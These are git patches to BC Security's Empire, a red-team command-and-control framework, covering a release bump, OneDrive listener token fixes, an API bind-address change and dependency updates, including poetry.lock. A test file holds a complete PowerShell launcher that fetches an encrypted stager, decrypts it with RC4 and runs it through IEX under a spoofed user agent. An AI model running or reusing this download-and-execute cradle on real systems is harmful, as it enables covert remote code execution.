and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] - Fix TypeError and crash when using `main` command in client (@jellyjellyrobot) +- Fix extraneous semi-colon breaking powershell 'literal' execution (@crittico) ## [5.5.1] - 2023-07-06 From bae796274e0abb3d513e1a3c73a743bc7a124b1c Mon Sep 17 00:00:00 2001 From: GitHub Actions Date: Fri, 14 Jul 2023 03:43:13 +0000 Subject: [PATCH 28/36] Prepare release 5.5.2 private --- CHANGELOG.md | 6 +++++- empire/server/common/empire.py | 2 +- pyproject.toml | 2 +- 3 files changed, 7 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 365f032d9..71950d10b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +## [5.5.2] - 2023-07-14 + - Fix TypeError and crash when using `main` command in client (@jellyjellyrobot) - Fix extraneous semi-colon breaking powershell 'literal' execution (@crittico) @@ -527,7 +529,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Updated shellcoderdi to newest version (@Cx01N) - Added a Nim launcher (@Hubbl3) -[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.5.1...HEAD +[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.5.2...HEAD + +[5.5.2]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.5.1...v5.5.2 [5.5.1]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.5.0...v5.5.1 diff --git a/empire/server/common/empire.py b/empire/server/common/empire.py index 6a5c45edc..784d79d00 100755 --- a/empire/server/common/empire.py +++ b/empire/server/common/empire.py @@ -39,7 +39,7 @@ from . import agents, credentials, listeners, stagers -VERSION = "5.5.1 BC Security Fork" +VERSION = "5.5.2 BC Security Fork" log = logging.getLogger(__name__) diff --git a/pyproject.toml b/pyproject.toml index 115898c14..49e3aff43 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "empire-bc-security-fork" -version = "5.5.1" +version = "5.5.2" description = "" authors = ["BC Security "] readme = "README.md" From 6730b314ad9b20e4a95a177041044918e86d2339 Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Mon, 17 Jul 2023 15:45:03 -0400 Subject: [PATCH 29/36] Fixed onedrive taskings for powershell (#653) * fixed onedrive taskings for powershell * updated changelog * updated changelog --- CHANGELOG.md | 1 + empire/server/listeners/onedrive.py | 56 +++++++------------ .../test/test_listener_generate_launcher.py | 2 +- 3 files changed, 22 insertions(+), 37 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 71950d10b..30aca7599 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). ## [Unreleased] +- Fixed onedrive taskings for powershell (@Cx01N) ## [5.5.2] - 2023-07-14 diff --git a/empire/server/listeners/onedrive.py b/empire/server/listeners/onedrive.py index 05055d86e..636fb8065 100755 --- a/empire/server/listeners/onedrive.py +++ b/empire/server/listeners/onedrive.py @@ -226,10 +226,9 @@ def generate_launcher( staging_key = listener_options["StagingKey"]["Value"] if language.startswith("power"): - launcher = "$ErrorActionPreference = 'SilentlyContinue';" # Set as empty string for debugging - + launcher = "" if safeChecks.lower() == "true": - launcher = "If($PSVersionTable.PSVersion.Major -ge 3){" + launcher += "If($PSVersionTable.PSVersion.Major -ge 3){" for bypass in bypasses: launcher += bypass @@ -387,11 +386,6 @@ def generate_stager( def generate_comms( self, listener_options, - client_id, - client_secret, - token, - refresh_token, - redirect_uri, language=None, ): client_id = listener_options["ClientID"]["Value"] @@ -413,7 +407,7 @@ def generate_comms( template = eng.get_template("onedrive/comms.ps1") template_options = { - "token:": token, + "token:": self.token, "refresh_token": refresh_token, "client_id": client_id, "client_secret": client_secret, @@ -436,15 +430,10 @@ def generate_comms( def generate_agent( self, listener_options, - client_id, - client_secret, - token, - refresh_token, - redirect_uri, language=None, - version="", obfuscate=False, obfuscation_command="", + version="", ): """ Generate the agent code @@ -569,7 +558,7 @@ def test_token(token): return request.ok def setup_folders(): - if not (test_token(token["access_token"])): + if not (test_token(self.token["access_token"])): raise ValueError("Could not set up folders, access token invalid") base_object = s.get("%s/drive/root:/%s" % (base_url, base_folder)) @@ -646,7 +635,7 @@ def upload_stager(): ps_stager = self.generate_stager( listenerOptions=listener_options, language="powershell", - token=token["access_token"], + token=self.token["access_token"], ) r = s.put( "%s/drive/root:/%s/%s/%s:/content" @@ -691,12 +680,12 @@ def upload_stager(): s = Session() if refresh_token: - token = renew_token(client_id, client_secret, refresh_token) + self.token = renew_token(client_id, client_secret, refresh_token) message = f"{listener_name}: Refreshed auth token" self.instance_log.info(message) else: try: - token = get_token(client_id, client_secret, auth_code) + self.token = get_token(client_id, client_secret, auth_code) except Exception: self.instance_log.error( f"{listener_name}: Unable to retrieve OneDrive Token" @@ -706,7 +695,7 @@ def upload_stager(): message = f"{listener_name} Got new auth token" self.instance_log.info(message) - s.headers["Authorization"] = "Bearer " + token["access_token"] + s.headers["Authorization"] = "Bearer " + self.token["access_token"] setup_folders() @@ -726,24 +715,24 @@ def upload_stager(): time.sleep(int(poll_interval)) try: # Wrap the whole loop in a try/catch so one error won't kill the listener if ( - time.time() > token["expires_at"] + time.time() > self.token["expires_at"] ): # Get a new token if the current one has expired - token = renew_token( - client_id, client_secret, token["refresh_token"] - ) - s.headers["Authorization"] = "Bearer " + token["access_token"] + renew_token(client_id, client_secret, self.token["refresh_token"]) + s.headers["Authorization"] = "Bearer " + self.token["access_token"] message = f"{listener_name} Refreshed auth token" self.instance_log.info(message) upload_stager() - if token["update"]: + if self.token["update"]: with SessionLocal.begin() as db: - self.options["RefreshToken"]["Value"] = token["refresh_token"] + self.options["RefreshToken"]["Value"] = self.token[ + "refresh_token" + ] db_listener = self.mainMenu.listenersv2.get_by_name( db, listener_name ) db_listener.options = self.options - token["update"] = False + self.token["update"] = False search = s.get( "%s/drive/root:/%s/%s?expand=children" @@ -792,18 +781,13 @@ def upload_stager(): session_key = self.mainMenu.agents.agents[agent_name][ "sessionKey" ] - agent_token = renew_token( - client_id, client_secret, token["refresh_token"] + renew_token( + client_id, client_secret, self.token["refresh_token"] ) # Get auth and refresh tokens for the agent to use agent_code = str( self.generate_agent( listener_options, - client_id, - client_secret, - agent_token["access_token"], - agent_token["refresh_token"], - redirect_uri, - lang, + language=lang, ) ) diff --git a/empire/test/test_listener_generate_launcher.py b/empire/test/test_listener_generate_launcher.py index 114fa085c..8bcd9db25 100644 --- a/empire/test/test_listener_generate_launcher.py +++ b/empire/test/test_listener_generate_launcher.py @@ -534,7 +534,7 @@ def _expected_onedrive_python_launcher(): def _expected_onedrive_powershell_launcher(): - return """$ErrorActionPreference = 'SilentlyContinue';$wc=New-Object System.Net.WebClient;$u='Microsoft SkyDriveSync 17.005.0107.0008 ship; Windows NT 10.0 (16299)';$wc.Headers.Add('User-Agent',$u);$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;$Script:Proxy = $wc.Proxy;$K=[System.Text.Encoding]::ASCII.GetBytes('@3uiSPNG;mz|{5#1tKCHDZ*dFs87~g,}');$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};$data=$wc.DownloadData('http://localhost/stager.php');$iv=$data[0..3];$data=$data[4..$data.length];-join[Char[]](& $R $data ($IV+$K))|IEX""" + return """$wc=New-Object System.Net.WebClient;$u='Microsoft SkyDriveSync 17.005.0107.0008 ship; Windows NT 10.0 (16299)';$wc.Headers.Add('User-Agent',$u);$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;$Script:Proxy = $wc.Proxy;$K=[System.Text.Encoding]::ASCII.GetBytes('@3uiSPNG;mz|{5#1tKCHDZ*dFs87~g,}');$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};$data=$wc.DownloadData('http://localhost/stager.php');$iv=$data[0..3];$data=$data[4..$data.length];-join[Char[]](& $R $data ($IV+$K))|IEX""" def _fake_malleable_profile(): From 1239d8bf2836271a3bcd2eb2df4b8b5d2202d20c Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Tue, 18 Jul 2023 00:51:20 -0400 Subject: [PATCH 30/36] Updated restip message to show IP address on server (#652) * Updated restip message to show IP address on server * updated changelog * fixed uvicorn running on ip instead of 0.0.0.0 --- CHANGELOG.md | 1 + empire/server/api/app.py | 4 ++-- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 30aca7599..fc79074c0 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). ## [Unreleased] +- Updated restip message to show IP address on server (@Cx01N) - Fixed onedrive taskings for powershell (@Cx01N) ## [5.5.2] - 2023-07-14 diff --git a/empire/server/api/app.py b/empire/server/api/app.py index 01ab6791e..8710f3b70 100644 --- a/empire/server/api/app.py +++ b/empire/server/api/app.py @@ -133,7 +133,7 @@ def shutdown_event(): try: load_starkiller(v2App) - log.info(f"Starkiller served at http://localhost:{port}/index.html") + log.info(f"Starkiller served at http://{ip}:{port}/index.html") except Exception as e: log.warning("Failed to load Starkiller: %s", e, exc_info=True) log.warning( @@ -158,7 +158,7 @@ def shutdown_event(): else: uvicorn.run( v2App, - host="0.0.0.0", + host=ip, port=port, log_config=None, lifespan="on", From f96666a07cdabd387cc190694988e200ace0f730 Mon Sep 17 00:00:00 2001 From: Vincent Rose Date: Tue, 18 Jul 2023 21:47:03 -0700 Subject: [PATCH 31/36] upgrade pyyaml (#655) * upgrade pyyaml * run install tests * update install script to use mariadb for debian and update the tests. trying to install mysql was not working --- .../install_tests/cst-config-debian10.yaml | 2 +- .../install_tests/cst-config-debian11.yaml | 2 +- .github/workflows/lint-and-test.yml | 28 +- CHANGELOG.md | 2 + poetry.lock | 748 +++++++++--------- pyproject.toml | 2 +- setup/install.sh | 12 +- 7 files changed, 393 insertions(+), 403 deletions(-) diff --git a/.github/install_tests/cst-config-debian10.yaml b/.github/install_tests/cst-config-debian10.yaml index df5c5f49f..8b84743fe 100644 --- a/.github/install_tests/cst-config-debian10.yaml +++ b/.github/install_tests/cst-config-debian10.yaml @@ -15,4 +15,4 @@ commandTests: - name: "mysql version" command: "mysql" args: ["--version"] - expectedOutput: ["mysql Ver 8.0.*"] + expectedOutput: ["mysql Ver 15.*10.*-MariaDB"] diff --git a/.github/install_tests/cst-config-debian11.yaml b/.github/install_tests/cst-config-debian11.yaml index 0f528424b..f42b73fb9 100644 --- a/.github/install_tests/cst-config-debian11.yaml +++ b/.github/install_tests/cst-config-debian11.yaml @@ -15,4 +15,4 @@ commandTests: - name: "mysql version" command: "mysql" args: ["--version"] - expectedOutput: ["mysql Ver 8.0.*"] \ No newline at end of file + expectedOutput: ["mysql Ver 15.*10.*-MariaDB"] diff --git a/.github/workflows/lint-and-test.yml b/.github/workflows/lint-and-test.yml index 201fe6813..c9c2182a3 100644 --- a/.github/workflows/lint-and-test.yml +++ b/.github/workflows/lint-and-test.yml @@ -118,81 +118,81 @@ jobs: submodules: 'recursive' depth: 0 token: ${{ secrets.RELEASE_TOKEN }} - # To save CI time, only run these tests when the install script is changed + # To save CI time, only run these tests when the install script or deps changed - name: Get changed files using defaults id: changed-files uses: tj-actions/changed-files@v29.0.2 - name: Build images - if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') + if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock') run: docker-compose -f .github/install_tests/docker-compose-install-tests.yml build --parallel - name: run structure tests base Ubuntu 20.04 - if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') + if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock') uses: plexsystems/container-structure-test-action@v0.1.0 with: image: docker.io/bcsecurity/empire-test-ubuntu2004:latest config: .github/cst-config-base.yaml - name: run structure tests Ubuntu 20.04 - if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') + if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock') uses: plexsystems/container-structure-test-action@v0.1.0 with: image: docker.io/bcsecurity/empire-test-ubuntu2004:latest config: .github/install_tests/cst-config-ubuntu2004.yaml - name: run structure tests base Ubuntu 22.04 - if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') + if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock') uses: plexsystems/container-structure-test-action@v0.1.0 with: image: docker.io/bcsecurity/empire-test-ubuntu2204:latest config: .github/cst-config-base.yaml - name: run structure tests Ubuntu 22.04 - if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') + if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock') uses: plexsystems/container-structure-test-action@v0.1.0 with: image: docker.io/bcsecurity/empire-test-ubuntu2204:latest config: .github/install_tests/cst-config-ubuntu2204.yaml - name: run structure tests base Debian 10 - if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') + if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock') uses: plexsystems/container-structure-test-action@v0.1.0 with: image: docker.io/bcsecurity/empire-test-debian10:latest config: .github/cst-config-base.yaml - name: run structure tests Debian 10 - if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') + if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock') uses: plexsystems/container-structure-test-action@v0.1.0 with: image: docker.io/bcsecurity/empire-test-debian10:latest config: .github/install_tests/cst-config-debian10.yaml - name: run structure tests base Debian 11 - if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') + if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock') uses: plexsystems/container-structure-test-action@v0.1.0 with: image: docker.io/bcsecurity/empire-test-debian11:latest config: .github/cst-config-base.yaml - name: run structure tests Debian 11 - if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') + if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock') uses: plexsystems/container-structure-test-action@v0.1.0 with: image: docker.io/bcsecurity/empire-test-debian11:latest config: .github/install_tests/cst-config-debian11.yaml - name: run structure tests Kali base - if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') + if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock') uses: plexsystems/container-structure-test-action@v0.1.0 with: image: docker.io/bcsecurity/empire-test-kalirolling:latest config: .github/cst-config-base.yaml - name: run structure tests Kali - if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') + if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock') uses: plexsystems/container-structure-test-action@v0.1.0 with: image: docker.io/bcsecurity/empire-test-kalirolling:latest config: .github/install_tests/cst-config-kalirolling.yaml - name: run structure tests Parrot base - if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') + if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock') uses: plexsystems/container-structure-test-action@v0.1.0 with: image: docker.io/bcsecurity/empire-test-parrotrolling:latest config: .github/cst-config-base.yaml - name: run structure tests Parrot - if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') + if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock') uses: plexsystems/container-structure-test-action@v0.1.0 with: image: docker.io/bcsecurity/empire-test-parrotrolling:latest diff --git a/CHANGELOG.md b/CHANGELOG.md index fc79074c0..c17849c86 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,6 +8,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] - Updated restip message to show IP address on server (@Cx01N) - Fixed onedrive taskings for powershell (@Cx01N) +- Update pyyaml to 6.0.1 to avoid build issue from cython (@Vinnybod) +- Use MariaDB in Debian (@Vinnybod) ## [5.5.2] - 2023-07-14 diff --git a/poetry.lock b/poetry.lock index 62281e55b..ba8fdaca9 100644 --- a/poetry.lock +++ b/poetry.lock @@ -24,13 +24,13 @@ files = [ [[package]] name = "anyio" -version = "3.7.0" +version = "3.7.1" description = "High level compatibility layer for multiple asynchronous event loop implementations" optional = false python-versions = ">=3.7" files = [ - {file = "anyio-3.7.0-py3-none-any.whl", hash = "sha256:eddca883c4175f14df8aedce21054bfca3adb70ffe76a9f607aef9d7fa2ea7f0"}, - {file = "anyio-3.7.0.tar.gz", hash = "sha256:275d9973793619a5374e1c89a4f4ad3f4b0a5510a2b5b939444bee8f4c4d37ce"}, + {file = "anyio-3.7.1-py3-none-any.whl", hash = "sha256:91dee416e570e92c64041bd18b900d1d6fa78dff7048769ce5ac5ddad004fbb5"}, + {file = "anyio-3.7.1.tar.gz", hash = "sha256:44a3c9aba0f5defa43261a8b3efb97891f2bd7d804e0e1f56419befa1adfc780"}, ] [package.dependencies] @@ -39,7 +39,7 @@ idna = ">=2.8" sniffio = ">=1.1" [package.extras] -doc = ["Sphinx (>=6.1.0)", "packaging", "sphinx-autodoc-typehints (>=1.2.0)", "sphinx-rtd-theme", "sphinxcontrib-jquery"] +doc = ["Sphinx", "packaging", "sphinx-autodoc-typehints (>=1.2.0)", "sphinx-rtd-theme (>=1.2.2)", "sphinxcontrib-jquery"] test = ["anyio[trio]", "coverage[toml] (>=4.5)", "hypothesis (>=4.0)", "mock (>=4)", "psutil (>=5.9)", "pytest (>=7.0)", "pytest-mock (>=3.6.1)", "trustme", "uvloop (>=0.17)"] trio = ["trio (<0.22)"] @@ -148,36 +148,33 @@ test = ["hypothesis", "pytest", "pytest-benchmark[histogram]", "pytest-cov", "py [[package]] name = "black" -version = "23.3.0" +version = "23.7.0" description = "The uncompromising code formatter." optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" files = [ - {file = "black-23.3.0-cp310-cp310-macosx_10_16_arm64.whl", hash = "sha256:0945e13506be58bf7db93ee5853243eb368ace1c08a24c65ce108986eac65915"}, - {file = "black-23.3.0-cp310-cp310-macosx_10_16_universal2.whl", hash = "sha256:67de8d0c209eb5b330cce2469503de11bca4085880d62f1628bd9972cc3366b9"}, - {file = "black-23.3.0-cp310-cp310-macosx_10_16_x86_64.whl", hash = "sha256:7c3eb7cea23904399866c55826b31c1f55bbcd3890ce22ff70466b907b6775c2"}, - {file = "black-23.3.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:32daa9783106c28815d05b724238e30718f34155653d4d6e125dc7daec8e260c"}, - {file = "black-23.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:35d1381d7a22cc5b2be2f72c7dfdae4072a3336060635718cc7e1ede24221d6c"}, - {file = "black-23.3.0-cp311-cp311-macosx_10_16_arm64.whl", hash = "sha256:a8a968125d0a6a404842fa1bf0b349a568634f856aa08ffaff40ae0dfa52e7c6"}, - {file = "black-23.3.0-cp311-cp311-macosx_10_16_universal2.whl", hash = "sha256:c7ab5790333c448903c4b721b59c0d80b11fe5e9803d8703e84dcb8da56fec1b"}, - {file = "black-23.3.0-cp311-cp311-macosx_10_16_x86_64.whl", hash = "sha256:a6f6886c9869d4daae2d1715ce34a19bbc4b95006d20ed785ca00fa03cba312d"}, - {file = "black-23.3.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6f3c333ea1dd6771b2d3777482429864f8e258899f6ff05826c3a4fcc5ce3f70"}, - {file = "black-23.3.0-cp311-cp311-win_amd64.whl", hash = "sha256:11c410f71b876f961d1de77b9699ad19f939094c3a677323f43d7a29855fe326"}, - {file = "black-23.3.0-cp37-cp37m-macosx_10_16_x86_64.whl", hash = "sha256:1d06691f1eb8de91cd1b322f21e3bfc9efe0c7ca1f0e1eb1db44ea367dff656b"}, - {file = "black-23.3.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:50cb33cac881766a5cd9913e10ff75b1e8eb71babf4c7104f2e9c52da1fb7de2"}, - {file = "black-23.3.0-cp37-cp37m-win_amd64.whl", hash = "sha256:e114420bf26b90d4b9daa597351337762b63039752bdf72bf361364c1aa05925"}, - {file = "black-23.3.0-cp38-cp38-macosx_10_16_arm64.whl", hash = "sha256:48f9d345675bb7fbc3dd85821b12487e1b9a75242028adad0333ce36ed2a6d27"}, - {file = "black-23.3.0-cp38-cp38-macosx_10_16_universal2.whl", hash = "sha256:714290490c18fb0126baa0fca0a54ee795f7502b44177e1ce7624ba1c00f2331"}, - {file = "black-23.3.0-cp38-cp38-macosx_10_16_x86_64.whl", hash = "sha256:064101748afa12ad2291c2b91c960be28b817c0c7eaa35bec09cc63aa56493c5"}, - {file = "black-23.3.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:562bd3a70495facf56814293149e51aa1be9931567474993c7942ff7d3533961"}, - {file = "black-23.3.0-cp38-cp38-win_amd64.whl", hash = "sha256:e198cf27888ad6f4ff331ca1c48ffc038848ea9f031a3b40ba36aced7e22f2c8"}, - {file = "black-23.3.0-cp39-cp39-macosx_10_16_arm64.whl", hash = "sha256:3238f2aacf827d18d26db07524e44741233ae09a584273aa059066d644ca7b30"}, - {file = "black-23.3.0-cp39-cp39-macosx_10_16_universal2.whl", hash = "sha256:f0bd2f4a58d6666500542b26354978218a9babcdc972722f4bf90779524515f3"}, - {file = "black-23.3.0-cp39-cp39-macosx_10_16_x86_64.whl", hash = "sha256:92c543f6854c28a3c7f39f4d9b7694f9a6eb9d3c5e2ece488c327b6e7ea9b266"}, - {file = "black-23.3.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3a150542a204124ed00683f0db1f5cf1c2aaaa9cc3495b7a3b5976fb136090ab"}, - {file = "black-23.3.0-cp39-cp39-win_amd64.whl", hash = "sha256:6b39abdfb402002b8a7d030ccc85cf5afff64ee90fa4c5aebc531e3ad0175ddb"}, - {file = "black-23.3.0-py3-none-any.whl", hash = "sha256:ec751418022185b0c1bb7d7736e6933d40bbb14c14a0abcf9123d1b159f98dd4"}, - {file = "black-23.3.0.tar.gz", hash = "sha256:1c7b8d606e728a41ea1ccbd7264677e494e87cf630e399262ced92d4a8dac940"}, + {file = "black-23.7.0-cp310-cp310-macosx_10_16_arm64.whl", hash = "sha256:5c4bc552ab52f6c1c506ccae05681fab58c3f72d59ae6e6639e8885e94fe2587"}, + {file = "black-23.7.0-cp310-cp310-macosx_10_16_universal2.whl", hash = "sha256:552513d5cd5694590d7ef6f46e1767a4df9af168d449ff767b13b084c020e63f"}, + {file = "black-23.7.0-cp310-cp310-macosx_10_16_x86_64.whl", hash = "sha256:86cee259349b4448adb4ef9b204bb4467aae74a386bce85d56ba4f5dc0da27be"}, + {file = "black-23.7.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:501387a9edcb75d7ae8a4412bb8749900386eaef258f1aefab18adddea1936bc"}, + {file = "black-23.7.0-cp310-cp310-win_amd64.whl", hash = "sha256:fb074d8b213749fa1d077d630db0d5f8cc3b2ae63587ad4116e8a436e9bbe995"}, + {file = "black-23.7.0-cp311-cp311-macosx_10_16_arm64.whl", hash = "sha256:b5b0ee6d96b345a8b420100b7d71ebfdd19fab5e8301aff48ec270042cd40ac2"}, + {file = "black-23.7.0-cp311-cp311-macosx_10_16_universal2.whl", hash = "sha256:893695a76b140881531062d48476ebe4a48f5d1e9388177e175d76234ca247cd"}, + {file = "black-23.7.0-cp311-cp311-macosx_10_16_x86_64.whl", hash = "sha256:c333286dc3ddca6fdff74670b911cccedacb4ef0a60b34e491b8a67c833b343a"}, + {file = "black-23.7.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:831d8f54c3a8c8cf55f64d0422ee875eecac26f5f649fb6c1df65316b67c8926"}, + {file = "black-23.7.0-cp311-cp311-win_amd64.whl", hash = "sha256:7f3bf2dec7d541b4619b8ce526bda74a6b0bffc480a163fed32eb8b3c9aed8ad"}, + {file = "black-23.7.0-cp38-cp38-macosx_10_16_arm64.whl", hash = "sha256:f9062af71c59c004cd519e2fb8f5d25d39e46d3af011b41ab43b9c74e27e236f"}, + {file = "black-23.7.0-cp38-cp38-macosx_10_16_universal2.whl", hash = "sha256:01ede61aac8c154b55f35301fac3e730baf0c9cf8120f65a9cd61a81cfb4a0c3"}, + {file = "black-23.7.0-cp38-cp38-macosx_10_16_x86_64.whl", hash = "sha256:327a8c2550ddc573b51e2c352adb88143464bb9d92c10416feb86b0f5aee5ff6"}, + {file = "black-23.7.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6d1c6022b86f83b632d06f2b02774134def5d4d4f1dac8bef16d90cda18ba28a"}, + {file = "black-23.7.0-cp38-cp38-win_amd64.whl", hash = "sha256:27eb7a0c71604d5de083757fbdb245b1a4fae60e9596514c6ec497eb63f95320"}, + {file = "black-23.7.0-cp39-cp39-macosx_10_16_arm64.whl", hash = "sha256:8417dbd2f57b5701492cd46edcecc4f9208dc75529bcf76c514864e48da867d9"}, + {file = "black-23.7.0-cp39-cp39-macosx_10_16_universal2.whl", hash = "sha256:47e56d83aad53ca140da0af87678fb38e44fd6bc0af71eebab2d1f59b1acf1d3"}, + {file = "black-23.7.0-cp39-cp39-macosx_10_16_x86_64.whl", hash = "sha256:25cc308838fe71f7065df53aedd20327969d05671bac95b38fdf37ebe70ac087"}, + {file = "black-23.7.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:642496b675095d423f9b8448243336f8ec71c9d4d57ec17bf795b67f08132a91"}, + {file = "black-23.7.0-cp39-cp39-win_amd64.whl", hash = "sha256:ad0014efc7acf0bd745792bd0d8857413652979200ab924fbf239062adc12491"}, + {file = "black-23.7.0-py3-none-any.whl", hash = "sha256:9fd59d418c60c0348505f2ddf9609c1e1de8e7493eab96198fc89d9f865e7a96"}, + {file = "black-23.7.0.tar.gz", hash = "sha256:022a582720b0d9480ed82576c920a8c1dde97cc38ff11d8d8859b3bd6ca9eedb"}, ] [package.dependencies] @@ -295,97 +292,97 @@ pycparser = "*" [[package]] name = "charset-normalizer" -version = "3.1.0" +version = "3.2.0" description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." optional = false python-versions = ">=3.7.0" files = [ - {file = "charset-normalizer-3.1.0.tar.gz", hash = "sha256:34e0a2f9c370eb95597aae63bf85eb5e96826d81e3dcf88b8886012906f509b5"}, - {file = "charset_normalizer-3.1.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e0ac8959c929593fee38da1c2b64ee9778733cdf03c482c9ff1d508b6b593b2b"}, - {file = "charset_normalizer-3.1.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d7fc3fca01da18fbabe4625d64bb612b533533ed10045a2ac3dd194bfa656b60"}, - {file = "charset_normalizer-3.1.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:04eefcee095f58eaabe6dc3cc2262f3bcd776d2c67005880894f447b3f2cb9c1"}, - {file = "charset_normalizer-3.1.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:20064ead0717cf9a73a6d1e779b23d149b53daf971169289ed2ed43a71e8d3b0"}, - {file = "charset_normalizer-3.1.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1435ae15108b1cb6fffbcea2af3d468683b7afed0169ad718451f8db5d1aff6f"}, - {file = "charset_normalizer-3.1.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c84132a54c750fda57729d1e2599bb598f5fa0344085dbde5003ba429a4798c0"}, - {file = "charset_normalizer-3.1.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:75f2568b4189dda1c567339b48cba4ac7384accb9c2a7ed655cd86b04055c795"}, - {file = "charset_normalizer-3.1.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = 